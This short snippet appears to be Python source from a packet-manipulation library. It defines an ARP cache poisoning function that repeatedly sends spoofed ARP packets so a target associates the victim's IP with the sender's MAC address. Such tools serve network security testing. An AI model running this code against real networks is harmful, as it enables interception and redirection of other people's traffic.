docs: def arpcachepoison(target, victim, interval=60):
      """Poison target's cache with (your MAC,victim's IP) couple
  arpcachepoison(target, victim, [interval=60]) -> None
  """
      tmac = getmacbyip(target)
      p = Ether(dst=tmac) / ARP(op="who-has", psrc=victim, pdst=target)
      try:
          while True:
              sendp(p, iface_hint=target)
              if conf.verb > 1:
                  os.write(1, b".")
              time.sleep(interval)
      except KeyboardInterrupt:
          pass